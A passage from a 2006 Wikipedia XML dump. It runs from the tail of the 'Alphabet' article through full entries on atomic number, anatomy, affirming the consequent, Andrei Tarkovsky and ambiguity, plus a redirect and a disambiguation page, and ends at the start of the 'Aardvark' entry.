* [[Lipogram]]
* [[List of alphabets]]
* [[Syllabary]]
* [[Transliteration]]
* [[Unicode]]
* [[A]] | [[B]] | [[C]] | [[D]] | [[E]] | [[F]] | [[G]] | [[H]] | [[I]] | [[J]] | [[K]] | [[L]] | [[M]] | [[N]] | [[O]] | [[P]] | [[Q]] | [[R]] | [[S]] | [[T]] | [[U]] | [[V]] | [[W]] | [[X]] | [[Y]] | [[Z]]

== References ==

* {{cite book | author=Daniels, Peter T.; Bright, William | title=The World's Writing Systems | publisher=Oxford University Press | year=1996 | id=ISBN 0-19-507993-0 }} - Overview of modern and some ancient  writing systems.
* {{cite book | author=Driver, G.R. | title=Semetic Writing from Pictograph to Alphabet | publisher=Oxford University Press | year=1976 }}
* {{cite book | author=Hoffman, Joel M. | title=In the Beginning:  A Short History of the Hebrew Language | publisher=NYU Press | year=2004 | id=ISBN 0814736548 }} - Chapter 3 traces and summarizes the invention of alphabetic writing.
* {{cite book | author=Logan, Robert K. | title=The Alphabet Effect: A Media Ecology Understanding of the Making of Western Civilization | publisher=Hampton Press | year=2004 | id=ISBN 1-57273-522-8}}
* McLuhan, Marshall; Logan, Robert K. (1977). Alphabet, Mother of Invention. Etcetera. Vol. 34, pp. 373-383. 
* {{cite book | author=Ouaknin, Marc-Alain; Bacon, Josephine | title=Mysteries of the Alphabet: The Origins of Writing | publisher=Abbeville Press | year=1999 | id=ISBN 0-7892-0521-1 }}
* {{cite book | author=Sacks, David | title=Letter Perfect: The Marvelous History of Our Alphabet from A to Z | publisher=Broadway Books | year=2004 | id=ISBN 0-7679-1173-3}}
* {{cite book | author=Saggs, H.W.F | title=Civilization Before Greece and Rome | publisher=Yale University Press | year=1991 | id=ISBN 0300050313}} - Chapter 4 traces the invention of writing.

== External links ==
{{wiktionarypar|alphabet}}

* [http://omniglot.com/writing/alphabetic.htm Alphabetic Writing Systems]
* [[Michael Everson]]'s [http://www.evertype.com/alphabets/index.html Alphabets of Europe]
* The [http://www.unicode.org/cldr/data/diff/by_type/characters.html Unicode Consortium]
* [http://www.wam.umd.edu/~rfradkin/alphapage.html Evolution of alphabets] animation by Prof. Robert Fradkin at the University of Maryland
* [http://www.ancientscripts.com/alphabet.html History of alphabet]
* [http://hebrew4christians.com/Grammar/Unit_One/Aleph-Bet/aleph-bet.html The Hebrew Alphabet]

[[Category:Alphabetic writing systems]]
[[Category:Documents]]
[[Category:Writing]]

[[af:Alfabet]]
[[als:Alphabet]]
[[ar:أبجدية]]
[[ast:Alfabetu]]
[[be:Алфавіт]]
[[bg:Азбука]]
[[br:Lizherenneg]]
[[ca:Alfabet]]
[[cv:Алфавит]]
[[cs:Abeceda]]
[[da:Alfabet]]
[[de:Alphabet]]
[[et:Tähestik]]
[[es:Alfabeto]]
[[eo:Alfabetoj]]
[[eu:Alfabeto]]
[[fr:Alphabet]]
[[gl:Alfabeto]]
[[id:Alfabet]]
[[it:Alfabeto]]
[[he:אלפבית]]
[[ka:ანბანი]]
[[ko:음소 문자]]
[[ku:Alfabe]]
[[kw:Lytherennek]]
[[la:abecedarium]]
[[lad:Alefbet]]
[[lv:Alfabēts]]
[[lt:Abėcėlė]]
[[hu:Ábécé]]
[[ms:Aksara]]
[[nl:Alfabet]]
[[ja:アルファベット]]
[[no:Alfabet]]
[[nn:Alfabet]]
[[pl:Alfabet]]
[[pt:Alfabeto]]
[[ro:Alfabet]]
[[ru:Алфавит]]
[[sq:Alfabeti]]
[[simple:Alphabet]]
[[sk:Abeceda]]
[[sl:Abeceda]]
[[fi:Aakkoset]]
[[sv:Alfabet]]
[[tl:Alpabeto]]
[[th:อักษร]]
[[tr:Abece]]
[[uk:Алфавіт]]
[[zh:字母]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic number</title>
    <id>673</id>
    <revision>
      <id>42072226</id>
      <timestamp>2006-03-03T17:03:51Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.157.119.20|207.157.119.20]] ([[User talk:207.157.119.20|talk]]) to last version by Vsmith</comment>
      <text xml:space="preserve">In [[chemistry]] and [[physics]], the '''atomic number''' ('''Z''') is the number of [[proton]]s found in the nucleus of an [[atom]]. In an atom of [[neutral|neutral charge]], the number of [[electrons]] ''also'' equals the atomic number.

The atomic number originally meant the number of an element's place in the [[periodic table]]. When [[Dmitriy Mendeleyev|Mendeleyev]] arranged the known [[chemical element]]s grouped by their similarities in chemistry, it was noticeable that placing them in strict order of [[atomic weight|atomic mass]] resulted in some mismatches. [[Iodine]] and [[tellurium]], if listed by atomic mass, appeared to be in the wrong order, and would fit better if their places in the table were swapped. Placing them in the order which fit chemical properties most closely, their number in the table was their atomic number. This number appeared to be approximately proportional to the mass of the atom, but, as the discrepancy showed, reflected some other property than mass. 

The anomalies in this sequence were finally explained after research by [[Henry Moseley|Henry Gwyn Jeffreys Moseley]] in [[1913]]. Moseley discovered a strict relationship between the [[x-ray diffraction]] spectra of elements, and their correct location in the periodic table. It was later shown that the atomic number corresponds to the [[electric charge]] of the nucleus &amp;mdash; in other words the number of protons. It is the charge which gives elements their chemical properties, rather than the atomic mass.

The atomic number is closely related to the [[mass number]] (although they should not be confused) which is the number of protons and [[neutron|neutrons]] in the nucleus of an atom. The mass number often comes after the name of the element, e.g. [[carbon-14]] (used in [[carbon dating]]).

==See also==
*[[Periodic table]]
*[[List of elements by number]]
*[[Effective atomic number]]

&lt;!--Categories--&gt;

[[Category:Chemical properties]]
[[Category:Nuclear physics]]

&lt;!--Interwiki--&gt;

[[af:Atoomgetal]]
[[als:Ordnungszahl]]
[[ar:رقم ذري]]
[[ast:Númberu atómicu]]
[[bg:Атомен номер]]
[[bs:Atomski broj]]
[[br:Niver atomek]]
[[ca:Nombre atòmic]]
[[cs:Atomové číslo]]
[[da:Atomnummer]]
[[de:Ordnungszahl]]
[[et:Järjenumber]]
[[es:Número atómico]]
[[eo:Atomnumero]]
[[fr:Numéro atomique]]
[[gl:Número Atómico]]
[[ko:원자 번호]]
[[hr:Atomski broj]]
[[io:Atomala nombro]]
[[id:Nomor atom]]
[[is:Sætistala]]
[[it:Numero atomico]]
[[he:מספר אטומי]]
[[lt:Atomo numeris]]
[[nl:Atoomnummer]]
[[ja:原子番号]]
[[no:Atomnummer]]
[[nn:Atomnummer]]
[[pl:Liczba atomowa]]
[[pt:Número atómico]]
[[ro:Număr atomic]]
[[ru:Атомный номер]]
[[simple:Atomic number]]
[[sk:Protónové číslo]]
[[sl:Vrstno število]]
[[sr:Атомски број]]
[[fi:Järjestysluku (kemia)]]
[[sv:Atomnummer]]
[[th:เลขอะตอม]]
[[tr:Atom numarası]]
[[uk:Атомний номер]]
[[zh:原子序数]]</text>
    </revision>
  </page>
  <page>
    <title>Anatomy</title>
    <id>674</id>
    <revision>
      <id>42072900</id>
      <timestamp>2006-03-03T17:10:12Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.11.5.9|216.11.5.9]] ([[User talk:216.11.5.9|talk]]) to last version by El C</comment>
      <text xml:space="preserve">[[Image:ENC plate 1-143 750px.jpeg|thumb|250px|Anatomical drawing of the human muscles from the ''[[Encyclopédie]]''.]]
[[Image:Anatomical chart, Cyclopaedia, 1728, volume 1, between pages 84 and 85.jpg|thumb|300px|Anatomical chart from the ''[[Cyclopaedia]]'', 1728]]

'''Anatomy''' (from the [[Greek language|Greek]] ''{{polytonic|ἀνατομία}} anatomia'', from '' {{polytonic|ἀνατέμνειν}} anatemnein'', to cut up, cut open), is the branch of [[biology]] that deals with the structure and organization of living things. It can be divided into animal anatomy ([[zootomy]]) and plant anatomy ([[phytonomy]]).  Furthermore, anatomy can be covered either regionally or systemically, that is, studying anatomy by bodily regions such as the head and chest for the former, or studying by specific systems, such as the nervous or respiratory systmes for the latter. Major branches of anatomy include [[comparative anatomy]], [[histology]], and [[human anatomy]]. 

==Animal anatomy==
Animal anatomy may include the study of the structure of different animals, when it is called [[comparative anatomy]] or [[animal morphology]], or it may be limited to one animal only, in which case it is spoken of as ''special anatomy''.

==Human anatomy==
From a utilitarian point of view the study of [[human]]s is the most important division of special anatomy, and this human anatomy may be approached from different points of view. 

From that of Medicine it consists of a knowledge of the exact form, position, size and relationship of the various structures of the healthy human body, and to this study the term descriptive or topographical human anatomy is given, though it is often, less happily, spoken of as ''anthropotomy''.

So intricate is the [[human body]] that only a small number of professional human anatomists, after years of patient observation, are complete masters of all its details; most of them specialize on certain parts, such as the brain or viscera, contenting themselves with a good working knowledge of the rest.

''Topographical anatomy'' must be learned by repeated dissection and inspection of dead human bodies.  
It is no more a [[science]] than a pilot's knowledge is, and, like that knowledge, must be exact and available in moments of emergency. 

From the morphological point of view, however, human anatomy is a scientific and fascinating study, having for its object the discovery of the [[morphogenesis|causes]] which have brought about the existing structure of humans, and needing a knowledge of the allied sciences of [[embryology]] or [[developmental biology]], [[phylogeny]], and [[histology]]. 

''[[Anatomical pathology|Pathological anatomy]]'' (or ''morbid anatomy'') is the study of [[disease]]d [[organ (anatomy)|organ]]s, while sections of normal anatomy, applied to various purposes, receive special names such as medical, surgical, gynaecological, artistic and superficial anatomy.  
The comparison of the anatomy of different [[race]]s of humans is part of the science of physical anthropology or anthropological anatomy.  
In the present edition of this work the subject of anatomy is treated systematically rather than topographically.  
Each anatomical article contains first a description of the structures of an organ or system (such as [[nerve]]s, [[Artery|arteries]], [[heart]], and so forth), as it is found in humans; this is followed by an account of the development (embryology) and comparative anatomy (morphology), as far as [[Vertebrate|vertebrate animals]] are concerned; but only those parts of the lower animals which are of interest in explaining human body structure are here dealt with.  
The articles have a twofold purpose; first, to give enough details of structure to make the articles on physiology, surgery, medicine and pathology intelligible; and, secondly, to give the non-expert inquirer, or the worker in some other branch of science, the chief theories on which the modern scientific groundwork of anatomy is built. 

==Major body systems==
{{col-begin}}
{{col-3}}
*[[Circulatory system]]
*[[Digestive system]]
*[[Endocrine system]]
*[[Excretory system]]
{{col-3}}
*[[Immune system]]
*[[Integumentary system]]
*[[Lymphatic system]]
*[[Muscular system]]
{{col-3}}
*[[Nervous system]]
*[[Reproductive system]]
*[[Respiratory system]]
*[[Skeletal system]] ([[Human skeleton]])
{{col-end}}

==[[Organ (anatomy)|Organ]]s==
{{col-begin}}
{{col-3}}
*[[Anus]]
*[[Vermiform appendix|Appendix]]
*[[Brain]]
*[[Breast]]
*[[Colon (anatomy)|Colon]] or large intestine
*[[Diaphragm (anatomy)|Diaphragm]]
*[[Ear]]
*[[Eye]]
*[[Heart]]
{{col-3}}
*[[Kidney]]
*[[Labium|Labia]]
*[[Larynx]]
*[[Liver]]
*[[Lung]]
*[[Nose]]
*[[Ovary]]
*[[Pharynx]]
*[[Pancreas]]
{{col-3}}
*[[Penis]]
*[[Placenta]]
*[[Rectum]]
*[[Skin]]
*[[Small intestine]]
*[[Spleen]]
*[[Stomach]]
*[[Tongue]]
*[[Uterus]]
{{col-end}}

==[[Bone]]s in the [[human skeleton]]==
{{col-begin}}
{{col-3}}
*[[Collar bone]] (clavicle)
*[[Thigh bone]] (femur)
*[[Humerus]]
*[[Mandible]]
*[[Patella]]
{{col-3}}
*[[Radius (bone)|Radius]]
*[[Skull]] (cranium)
*[[Tibia]]
*[[Ulna]]
*[[Rib]] (costa)
{{col-3}}
*[[Vertebrae]]
*[[Pelvis]]
*[[Sternum]]
{{col-end}}

==[[Gland]]s==
{{col-begin}}
{{col-3}}
*[[Ductless gland]]
*[[Mammary gland]]
*[[Salivary gland]]
{{col-3}}
*[[Thyroid gland]]
*[[Parathyroid gland]]
*[[Adrenal gland]]
{{col-3}}
*[[Pituitary gland]]
*[[Pineal gland]]
{{col-end}}

==[[Biological tissue|Tissues]]==
*[[Connective tissue]]
*[[Endothelial tissue]]
*[[Epithelial tissue]]
*[[Glandular tissue]]
*[[Lymphoid tissue]]

==Externally visible parts of the human body==
{{col-begin}}
{{col-3}}
*[[Abdomen]]
*[[Arm]]
*[[Back]]
*[[Buttock]]
*[[Chest]]
*[[Ear]]
{{col-3}}
*[[Eye]]
*[[Face]]
*[[Genitals]]
*[[head (anatomy)|Head]]
*[[Joint (anatomy)|Joint]]
*[[Human leg|Leg]]
{{col-3}}
*[[Mouth]]
*[[Neck]]
*[[Scalp]]
*[[Skin]]
*[[Tooth|Teeth]]
*[[Tongue]]
{{col-end}}

==Other anatomic terms (not classified)==
{{col-begin}}
{{col-3}}
*[[Artery]]
*[[body cavity| Coelom]]
*[[Diaphragm (anatomy)|Diaphragm]]
*[[Gastrointestinal tract]]
*[[Hair]]
{{col-3}}
*[[Exoskeleton]]
*[[Lip]]
*[[Nerve]]
*[[Peritoneum]]
*[[Serous membrane]]
{{col-3}}
*[[Skeleton]]
*[[Skull]]
*[[Spinal cord]]
*[[Vein]]
{{col-end}}

==See also==
*[[List of anatomical topics]]
*[[List of human anatomical features]]
*[[List of publications in biology#Anatomy|Important publications in anatomy]]

*[[History of anatomy]]
*[[Human anatomy]]
*[[Organ (anatomy)]]
*[[Superficial anatomy]]
*[[Zootomical terms for location]]

==External links==
{{Commons|Anatomy}}
*[http://brainmaps.org High-Resolution Cytoarchitectural Primate Brain Atlases]
*[http://www.innerbody.com/htm/body.html Free online anatomy atlas]
*[http://www.npac.syr.edu/projects/vishuman/VisibleHuman.html The NPAC Visible Human Viewer]
*[http://cancerweb.ncl.ac.uk/omd/index.html On-Line Medical Dictionary]
*[http://www.bartleby.com/107/ Anatomy of the Human Body by Henry Gray]
*[http://www.rtstudents.com/ Online Radiology Anatomy Resources]
*[http://www.wikimd.org/index.php?title=Gray%27s_Anatomy Gray's Anatomy wiki]
*http://immunity-info.net
*[http://www.anatomyatlases.org/ Anatomy Atlases - a digital library of anatomy information]

{{Biology-footer}}

[[Category:Anatomy]]

[[be:Анатомія]]
[[bg:Анатомия]]
[[bs:Anatomija]]
[[ca:Anatomia]]
[[cs:Anatomie]]
[[cy:Anatomeg]]
[[da:Anatomi]]
[[de:Anatomie]]
[[eo:Anatomio]]
[[es:Anatomía]]
[[et:Anatoomia]]
[[eu:Anatomia]]
[[fa:کالبدشناسی]]
[[fi:Anatomia]]
[[fr:Anatomie]]
[[fy:Anatomy]]
[[he:אנטומיה]]
[[ia:Anatomia]]
[[id:Anatomi]]
[[io:Anatomio]]
[[is:Líffærafræði]]
[[it:Anatomia]]
[[ja:解剖学]]
[[ko:해부학]]
[[ku:Anatomî]]
[[la:Anatomia]]
[[lt:Anatomija]]
[[mk:Анатомија]]
[[nds:Anatomie]]
[[nl:Anatomie]]
[[no:Anatomi]]
[[os:Анатоми]]
[[pl:Anatomia]]
[[pt:Anatomia]]
[[ru:Анатомия]]
[[scn:Anatumìa]]
[[simple:Anatomy]]
[[sk:Anatómia]]
[[sl:Anatomija]]
[[sr:Анатомија]]
[[su:Anatomi]]
[[sv:Anatomi]]
[[th:กายวิภาคศาสตร์]]
[[tl:Anatomiya]]
[[tr:Anatomi]]
[[uk:Анатомія]]
[[vi:Giải phẫu học]]
[[zh:解剖學]]</text>
    </revision>
  </page>
  <page>
    <title>Affirming the consequent</title>
    <id>675</id>
    <revision>
      <id>34703526</id>
      <timestamp>2006-01-11T03:07:03Z</timestamp>
      <contributor>
        <ip>66.240.10.188</ip>
      </contributor>
      <text xml:space="preserve">'''Affirming the consequent''' is a [[logical fallacy]] in the form of a hypothetical proposition.  Propositionally speaking, Affirming the Consequent is the logical equivalent of assuming the converse of a statement to be true.  The fallacy of affirming the consequent occurs when a hypothetical proposition comprising an [[Antecedent (logic)|antecedent]] and a [[consequent]] asserts that the truthhood of the consequent implies the truthhood of the antecedent.  This is fallacious because it assumes a bidirectionality when it does not necessarily exist.

This fallacy has the following [[argument form]]:
:If P, then Q.
:Q.
:Therefore, P.

This logical error is called the fallacy of affirming the consequent because it is mistakenly concluded from the second premise that the affirmation of the consequent entails the truthhood of the antecedent. One way to demonstrate the invalidity is to use a counterexample. Here is an argument that is obviously incorrect:

:If [[Stephen King]] wrote the [[Bible]] (P), then Stephen King is a good writer (Q).
:Stephen King is a good writer (Q).
:Therefore, Stephen King wrote the Bible (P).

The previous argument was obviously incorrect, but the next argument may be more deceiving:

:If someone is human (P), then she is mortal (Q).
:Anna is mortal (Q).
:Therefore Anna is human (P).

But in fact Anna can be a cat; very much a mortal, but not a human one.

However, be aware that a similar [[argument form]] is [[validity|valid]] in which the first premise asserts &quot;[[if and only if]]&quot; rather than &quot;if&quot;.  Similarly, the converse of a statement can be validly assumed to be true so long as the &quot;[[if and only if]]&quot; phrase is attached.

==See also==
*[[Modus ponens]]
*[[Modus tollens]]
*[[Denying the antecedent]]
*[[Fallacy of the undistributed middle]]

[[Category:Logical fallacies]]

[[he:%D7%90%D7%99%D7%A9%D7%95%D7%A8_%D7%94%D7%A1%D7%95%D7%92%D7%A8]]
[[tl:pinapatibayan ang kasunod]]</text>
    </revision>
  </page>
  <page>
    <title>Andrei Tarkovsky</title>
    <id>676</id>
    <revision>
      <id>41655113</id>
      <timestamp>2006-02-28T20:58:42Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca Modifying: es</comment>
      <text xml:space="preserve">[[Image:Tarkovsky.jpg|thumb|300px|right|Andrei Tarkovsky]]

'''Andrei Arsenyevich Tarkovsky''' (Андре́й Арсе́ньевич Тарко́вский) ([[April 4]], [[1932]] - [[December 28]], [[1986]]) was a [[Russia]]n movie director, writer, and actor. He is regarded as one of the most important and influential filmmakers of the [[Soviet Union|Soviet]] era in Russia and one of the greatest in the [[history of film|history of cinema]]. 

==Biography==
Tarkovsky, son of the prominent poet [[Arseniy Tarkovsky]], was a product of the golden era of Soviet arts education. He received a classical education in [[Moscow]], studying [[Music]] and [[Arabic language|Arabic]], before training for over five years at the [[VGIK]] film school, studying directly under [[Mikhail Romm]] among others. 
He also worked as a geologist in Siberia.
Although the [[Orthodox Christian]] symbolism of his films led to prevarication and occasional suppression of the finished product by the Soviet authorities, the Soviet [[Mosfilm]] studio system enabled him to make films that would not have been commercially viable in the West. However, Tarkovsky's principal complaint about his treatment by the authorities was that he had many more ideas in him than he was allowed to bring to the screen, and in [[1984]], after shooting ''[[Nostalghia]]'' in [[Italy]], he decided not to return to Russia. He made only one more film, ''[[The Sacrifice]]'', a European co-production filmed in [[Sweden]], before dying of [[cancer]] in the suburb of [[Paris]] at the early age of 54.

Andrei Tarkovsky was buried in a graveyard for Russian émigrés in the town of [[Sainte-Geneviève-des-Bois]], [[Île-de-France (région)|Île-de-France]], [[France]].

==Work==
Tarkovsky's films are characterised by [[metaphysics|metaphysical]] themes, extremely long takes, and memorable images of exceptional beauty. Recurring motifs in his films are dreams, memory, childhood, running water accompanied by fire, rain indoors, reflections, and characters re-appearing in the foreground of long panning movements of the camera.

Tarkovsky developed a theory of cinema that he called &quot;sculpting in time&quot;. By this he meant that the unique characteristic of cinema as a medium was to take our experience of time and alter it. Unedited movie footage transcribes time in real time. (The speedy jump-cutting style that is prevalent in MTV videos and Hollywood movies, by contrast, overrides any sense of time by imposing the editor's viewpoint.) By using long takes and few cuts in his films, he aimed to give the viewers a sense of time passing, time lost, and the relationship of one moment in time to another.

Up to and including his film [[The Mirror (1975 film)|Mirror]], Tarkovsky focused his cinematic works on exploring this theory. After Mirror, he announced that he would focus his work on exploring the dramatic unities proposed by [[Aristotle]]: a concentrated action, happening in one place, within the span of a single day. [[The Sacrifice]] is the only film that truly reflects this ambition; it is also considered by many to be a near-perfect reflection of the sculpting in time theory.

==Filmography==
* ''[[The Killers (1958 film)|The Killers]]'' (1958) - Tarkovsky's first student film at VGIK, the Soviet State Film School.
* ''[[Concentrate (1958 film)|Concentrate]]'' (1958) - Tarkovsky's second student film at VGIK, the Soviet State Film School.
* ''[[There Will be No Leave Today]]'' (1959) - Tarkovsky's final student film at VGIK, the Soviet State Film School.
* ''[[The Steamroller and the Violin]]'' (1960) - Tarkovsky's graduation film from VGIK, the Soviet State Film School, cowritten with [[Andrei Konchalovsky]].
* ''[[My Name is Ivan]] / [[Ivan's Childhood]]'' (1962) - Winner of Golden Lion for &quot;Best Film&quot; at [[1962]] [[Venice Film Festival]].  Set in the Second World War, this is Tarkovsky's most conventional feature film, although it still has moments of lyrical beauty.
* ''[[Andrei Rublev (film)|Andrei Rublev]]'' (1966) - An epic based on the life of [[Andrei Rublev]], the most famous medieval Russian painter of icons.
* ''[[Solaris (film)|Solaris]]'' (1972) - based on the [[science fiction]] [[Solaris (novel)|novel]] by [[Stanisław Lem]]. 
* ''[[The Mirror (1975 film)|Mirror]]'' (1975) - A loosely autobiographical reconstruction of key scenes in Tarkovsky's life, the film he'd tried to make earlier but abandoned for ''Solaris'' (we can note thematic ties between them). Said by Tarkovsky to be closest to his own vision of cinema.
* ''[[Stalker (film)|Stalker]]'' (1979) - inspired by the novel ''[[Roadside Picnic]]'' by [[Boris and Arkady Strugatsky]].
* ''[[Tempo di Viaggio/Italian Journey]]'' (1982) - a documentary made for Italian television while scouting locations for [[Nostalghia]] with Italian co-writer (and frequent screenwriter for [[Antonioni |Michelangelo Antonioni]]) [http://imdb.com/name/nm0346096/ Tonino Guerra].
* ''[[Nostalghia]]'' (1983) - A Russian scholar retraces the footsteps of an 18th century Russian composer in Italy.  An encounter with a local lunatic - a man who believes he can save humanity by carrying a lit candle across an empty swimming pool - crystalizes the poet's melancholic sense of longing for his family, faith, and homeland.
* ''[[The Sacrifice]]'' (1986) - The film is about the prospect of nuclear annihilation and man's spiritual response to this and other dilemmas set in counterpoint to a minor fable of failed adultery.

==Bibliography==
*''[[Sculpting in Time : Reflections on the Cinema]]'', translated by Kitty Hunter-Blair (1987)
*''[[Time Within Time: The Diaries 1970-1986]]'', translated by Kitty Hunter-Blair (1993)

==External links==
* {{imdb name|name=Andrei Tarkovsky|id=0001789}}
* {{senses|id=directors/02/tarkovsky|name=Andrei Tarkovsky}}
*[http://tarkovskyzone.proboards27.com/ 'Stalker: we're now into the Zone' - the one and only Fan Forum]
*[http://www.acs.ucalgary.ca/%7Etstronds/nostalghia.com/index.html Nostalghia.com: A comprehensive site about Tarkovsky]
*[http://www.museum.ru/museum/tarkovsky/begine.htm Tarkovsky museum]
*[http://www.talkingpix.co.uk/Article_Tarkovsky2.html The Genius of Andrei Tarkovsky by Alan Pavelin]

{{tarkovsky}}

[[Category:1932 births|Tarkovsky, Andrei]]
[[Category:1986 deaths|Tarkovsky, Andrei]]
[[Category:Russian actors|Tarkovsky, Andrei]]
[[Category:Russian and Soviet film directors|Tarkovsky, Andrei]]

[[ca:Andrei Tarkovski]]
[[cs:Andrej Tarkovskij]]
[[da:Andrei Tarkovsky]]
[[de:Andrei Arsenjewitsch Tarkowski]]
[[et:Andrei Tarkovski]]
[[es:Andrei Tarkovsky]]
[[fa:آندری تارکوفسکی]]
[[fr:Andreï Tarkovski]]
[[it:Andrej Tarkovskij]]
[[he:אנדריי טרקובסקי]]
[[hu:Andrej Tarkovszkij]]
[[nl:Andrej Tarkovski]]
[[ja:アンドレイ・タルコフスキー]]
[[no:Andrej Tarkovskij]]
[[pl:Andriej Tarkowski]]
[[pt:Andrei Tarkovski]]
[[ro:Andrei Tarkovski]]
[[ru:Тарковский, Андрей Арсеньевич]]
[[fi:Andrei Tarkovski]]
[[sv:Andrej Tarkovskij]]
[[tr:Andrei Arsenyevich Tarkovsky]]</text>
    </revision>
  </page>
  <page>
    <title>Ambiguity</title>
    <id>677</id>
    <revision>
      <id>40840484</id>
      <timestamp>2006-02-23T09:53:12Z</timestamp>
      <contributor>
        <ip>24.164.205.69</ip>
      </contributor>
      <comment>transition</comment>
      <text xml:space="preserve">{{wiktionary|ambiguity}}

&quot;This word has many meanings...&quot; Dónal Troddyn, A Treatise on Language Vol. 2, 2004

A word, phrase, sentence, or other communication is called '''ambiguous''' if it can be interpreted in more than one way. Ambiguity is distinct from ''[[vagueness]]'', which arises when the boundaries of meaning are indistinct.

'''Lexical ambiguity''' arises when context is insufficient to determine the sense of a single word that has more than one meaning. For example, the word &quot;bank&quot; has several meanings, including &quot;financial institution&quot; and &quot;edge of a river&quot;, but if someone says &quot;I deposited $100 in the bank&quot;, the intended meaning is clear. More problematic are words whose senses express closely related concepts. &quot;Good&quot;, for example, can mean &quot;useful&quot; or &quot;functional&quot; (''That's a good hammer''), &quot;exemplary&quot; (''She's a good student''), &quot;pleasing&quot; (''This is good soup''), &quot;moral&quot; (''He is a good person''), and probably other similar things. &quot;I have a good daughter&quot; isn't clear about which sense is intended.

'''[[Syntactic ambiguity]]''' arises when a sentence can be [[parsing|parsed]] in more than one way. &quot;He ate the cookies on the couch&quot;, for example, could mean that he ate those cookies which were on the couch (as opposed to those that were on the table), or it could mean that he was sitting on the couch when he ate the cookies. Spoken language can also contain lexical ambiguities, where there is more than one way to break up a set of sounds into words, for example &quot;ice cream&quot; and &quot;I scream&quot;. This is rarely a problem due to the use of context.

[[Philosopher]]s (and other users of [[logic]]) spend a lot of time and effort searching for and removing ambiguity in arguments, because it can lead to incorrect conclusions and can be used to deliberately conceal bad arguments.  For example, a politician might say &quot;I oppose taxes which hinder economic growth&quot;. Some will think he opposes taxes in general because they hinder economic growth; others will think he opposes only those taxes that he believes will hinder economic growth (although in writing, the correct insertion or omission of a [[comma (punctuation)|comma]] after &quot;taxes&quot; removes ambiguity here). The politician hopes that each will interpret the statement in the way he wants, and both will think the politician is on his side. The logical fallacies of [[amphiboly]] and [[equivocation]] also rely on the use of ambiguous words and phrases.

In [[literature]] and [[rhetoric]], on the other hand, ambiguity can be a useful tool. [[Groucho Marx]]'s classic joke depends on a grammatical ambiguity for its [[humor]], for example: ''Last night I shot an elephant in my pajamas. What he was doing in my pajamas I'll never know.''  Songs and poetry often rely on ambiguous words for artistic effect, as in the song title &quot;Don't It Make My Brown Eyes Blue&quot; (where &quot;blue&quot; can refer to the color, or to sadness).

In narrative, ambiguty can be introduced in several ways: motive, plot, character. [[F. Scott Fitzgerald]] uses the latter type of ambiguity with notable effect in his novel [[The Great Gatsby]].           

In [[music]] pieces or sections which confound expectations and may be or are interpreted simultaneously in different ways are ambiguous, such as some [[polytonality]], [[polymeter]], other ambiguous [[metre|meters]] or [[rhythm]]s, and ambiguous [[phrase (music)|phrasing]], or (Stein 2005, p.79) any [[aspect of music]]. The [[music of Africa]] is often purposely ambiguous. To quote Sir [[Donald Francis Tovey]] (1935, p.195), &quot;Theorists are apt to vex themselves with vain efforts to remove uncertainty just where it has a high aesthetic value.&quot;

Some languages have been created with the intention of avoiding ambiguity, especially syntactic ambiguity. [[Lojban]] and [[Loglan]] are two nearly identical languages which have been created with the intention of being clear and impossible to misunderstand. The languages can be both spoken and written. Their unambiguity makes them better suited than natural languages for use in communication between humans and computers.

==See also==
* [[double entendre]]
* [[imprecise language]]
* [[logical fallacy]]
* [[semantics]]

==External links==
* [http://www.gray-area.org/Research/Ambig/ Collection of Ambiguous or Inconsistent/Incomplete Statements]

[[Category:Semantics]]
[[de:Mehrdeutigkeit]]
[[nl:Ambiguïteit]]</text>
    </revision>
  </page>
  <page>
    <title>Abel</title>
    <id>678</id>
    <revision>
      <id>30571937</id>
      <timestamp>2005-12-08T08:08:03Z</timestamp>
      <contributor>
        <username>FDuffy</username>
        <id>380940</id>
      </contributor>
      <comment>Merged to [[Cain and Abel]]</comment>
      <text xml:space="preserve">#REDIRECT [[Cain and Abel]]</text>
    </revision>
  </page>
  <page>
    <title>Animal (disambiguation)</title>
    <id>679</id>
    <revision>
      <id>41857935</id>
      <timestamp>2006-03-02T04:40:08Z</timestamp>
      <contributor>
        <username>Ohnoitsjamie</username>
        <id>507787</id>
      </contributor>
      <comment>that is not what disambiguation is for</comment>
      <text xml:space="preserve">The word '''animal''' when used alone has several possible meanings in the [[English language]]. It could refer to:

* A [[taxonomy|taxonomic]] member of the Kingdom [[wikispecies:animalia|Animalia]], an [[animal]].
* A [[British rock]] [[rock band|band]] called [[The Animals]].
* An album released by [[United Kingdom|British]] rock band [[Pink Floyd]] called ''[[Animals (album)|Animals]]''.
* A 2001 film starring [[Rob Schneider]] called ''[[The Animal]]''.
* A genre of [[anime]].
* A [[Muppet Show]] character: see [[Dr. Teeth and The Electric Mayhem]]. 
* A [[professional wrestling|professional wrestler]]: see [[Joseph Laurinaitis]].
* A [[video game]] by [[Microtime]] called [[Animal (video game)|Animal]].
* [[Animal (song)|Animal]] is the name of several songs.
* For all English languange meanings, see the [http://en.wiktionary.org/wiki/animal Wiktionary definition of animal].

{{disambig}}
[[de:Animals]]
[[hu:Animals]]</text>
    </revision>
  </page>
  <page>
    <title>Aardvark</title>
    <id>680</id>
    <revision>
      <id>41872223</id>
      <timestamp>2006-03-02T07:12:04Z</timestamp>
      <contributor>
        <ip>24.10.96.43</ip>
      </contributor>
      <comment>edible? this is not fact or useful</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
{{otheruses}}
{{Taxobox
| color = pink
| name = Aardvark
| status = {{StatusConcern}}
| image = Erdferkel-drawing.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = '''Tubulidentata'''
| ordo_authority = [[Thomas Henry Huxley|Huxley]], 1872
| familia = '''Orycteropodidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| genus = '''''Orycteropus'''''
| genus_authority = [[Étienne Geoffroy Saint-Hilaire|É. Geoffroy Saint-Hilaire]], 1796
| species = '''''O. afer'''''
| binomial = ''Orycteropus afer''
| binomial_authority = [[Peter Simon Pallas|Pallas]], [[1766]]
}}
